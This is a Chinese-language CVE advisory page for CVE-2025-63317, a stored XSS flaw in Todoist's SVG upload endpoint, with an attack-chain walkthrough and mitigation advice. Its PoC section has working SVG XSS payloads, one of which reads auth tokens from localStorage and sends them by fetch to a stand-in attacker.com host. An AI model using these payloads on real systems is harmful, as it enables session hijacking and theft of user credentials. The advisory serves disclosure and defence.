IPBUF安全漏洞报告
English
CVE-2025-63317 CVSS 5.4 中危

CVE-2025-63317 Todoist SVG文件上传XSS漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-63317
漏洞类型
XSS跨站脚本攻击
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Todoist

相关标签

CVE-2025-63317XSS跨站脚本攻击TodoistSVG上传存储型XSS文件上传漏洞CVE-2025任务管理工具

漏洞概述

CVE-2025-63317是Todoist v8896版本中存在的一个存储型跨站脚本(XSS)漏洞。该漏洞位于Todoist的/api/v1/uploads API端点,攻击者可以通过上传包含恶意JavaScript代码的SVG文件来触发此漏洞。由于Todoist在处理上传的SVG文件时未对其进行适当的清理和过滤,SVG文件中嵌入的JavaScript代码会被保留并在后续被其他用户访问时执行。当受害者从任务或评论中打开这个恶意SVG附件时,攻击者注入的JavaScript代码会在受害者的浏览器上下文中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等安全问题。由于该漏洞需要用户交互才能触发(受害者需要打开附件),因此攻击具有一定的局限性,但仍然对使用Todoist的企业和个人用户构成安全威胁。Todoist作为一款广泛使用的任务管理工具,其用户基数庞大,该漏洞的潜在影响范围较广。

技术细节

Todoist v8896版本在处理文件上传功能时存在安全漏洞。漏洞点位于/api/v1/uploads API端点,该端点负责处理用户上传的各种文件类型,包括SVG格式文件。SVG(Scalable Vector Graphics)是一种基于XML的矢量图形格式,它支持嵌入JavaScript代码(通过<script>标签或事件处理器如onload、onclick等)。Todoist在接收SVG文件上传时,仅检查文件扩展名和基本的MIME类型,但没有对SVG内容进行深度清理或安全过滤。具体来说,系统没有执行以下安全措施:1) 移除或转义SVG中的<script>标签;2) 禁用SVG内的事件处理器属性;3) 应用内容安全策略(CSP)限制脚本执行;4) 对SVG内容进行DOMPurify等库的净化处理。攻击者可以构造一个包含恶意JavaScript的SVG文件,通过Todoist的上传接口将其存储在服务器上。当其他用户查看包含该SVG附件的任务或评论时,浏览器会渲染SVG并执行其中的JavaScript代码,从而实现XSS攻击。攻击者可以利用此漏洞窃取用户的认证令牌、读取页面内容、模拟用户操作或进行进一步的攻击。

攻击链分析

STEP 1
步骤1
攻击者创建恶意SVG文件:在SVG文件中嵌入JavaScript代码,可用于窃取用户数据、执行钓鱼攻击或进行会话劫持
STEP 2
步骤2
攻击者使用Todoist账号通过/api/v1/uploads API端点上传恶意SVG文件,无需特殊权限即可上传
STEP 3
步骤3
攻击者将上传的恶意SVG文件作为附件添加到任务或评论中,使其能够被其他用户访问
STEP 4
步骤4
受害者登录Todoist并查看包含恶意SVG附件的任务或评论,触发SVG文件的渲染
STEP 5
步骤5
浏览器解析SVG文件时执行其中嵌入的JavaScript代码,攻击者在受害者浏览器上下文中完成恶意操作
STEP 6
步骤6
攻击者利用窃取的认证令牌或会话信息劫持受害者账号,或在受害者浏览器中执行进一步的攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2025-63317: Todoist SVG XSS --> <!-- Create malicious SVG file with embedded JavaScript --> <svg xmlns="http://www.w3.org/2000/svg"> <script>alert('XSS - CVE-2025-63317');</script> <rect width="200" height="200" fill="red"/> </svg> <!-- Alternative PoC using event handler --> <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"> <rect width="300" height="300" fill="blue"/> </svg> <!-- Stealer PoC - steals authentication tokens --> <svg xmlns="http://www.w3.org/2000/svg"> <script> // Steal localStorage tokens var tokens = localStorage.getItem('todoist_auth'); // Send to attacker-controlled server fetch('https://attacker.com/steal?data=' + encodeURIComponent(tokens)); </script> <rect width="100%" height="100%" fill="white"/> </svg> <!-- Exploitation Steps: 1. Create malicious SVG file with above content 2. Upload SVG via Todoist /api/v1/uploads endpoint 3. Attach SVG to a task or comment 4. Wait for victim to open/view the attachment 5. JavaScript executes in victim's browser context -->

影响范围

Todoist v8896

防御指南

临时缓解措施
临时缓解措施:在官方修复发布之前,Todoist管理员可以暂时禁用文件上传功能或限制可上传的文件类型仅包括图片格式如PNG、JPG等。同时提醒用户不要打开来源不明的任务附件,对可疑文件进行安全检查。企业用户可以考虑在浏览器端部署安全插件或使用沙箱环境访问Todoist,以降低被攻击风险。此外,建议用户启用双因素认证以防止账号被劫持后造成更大损失。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表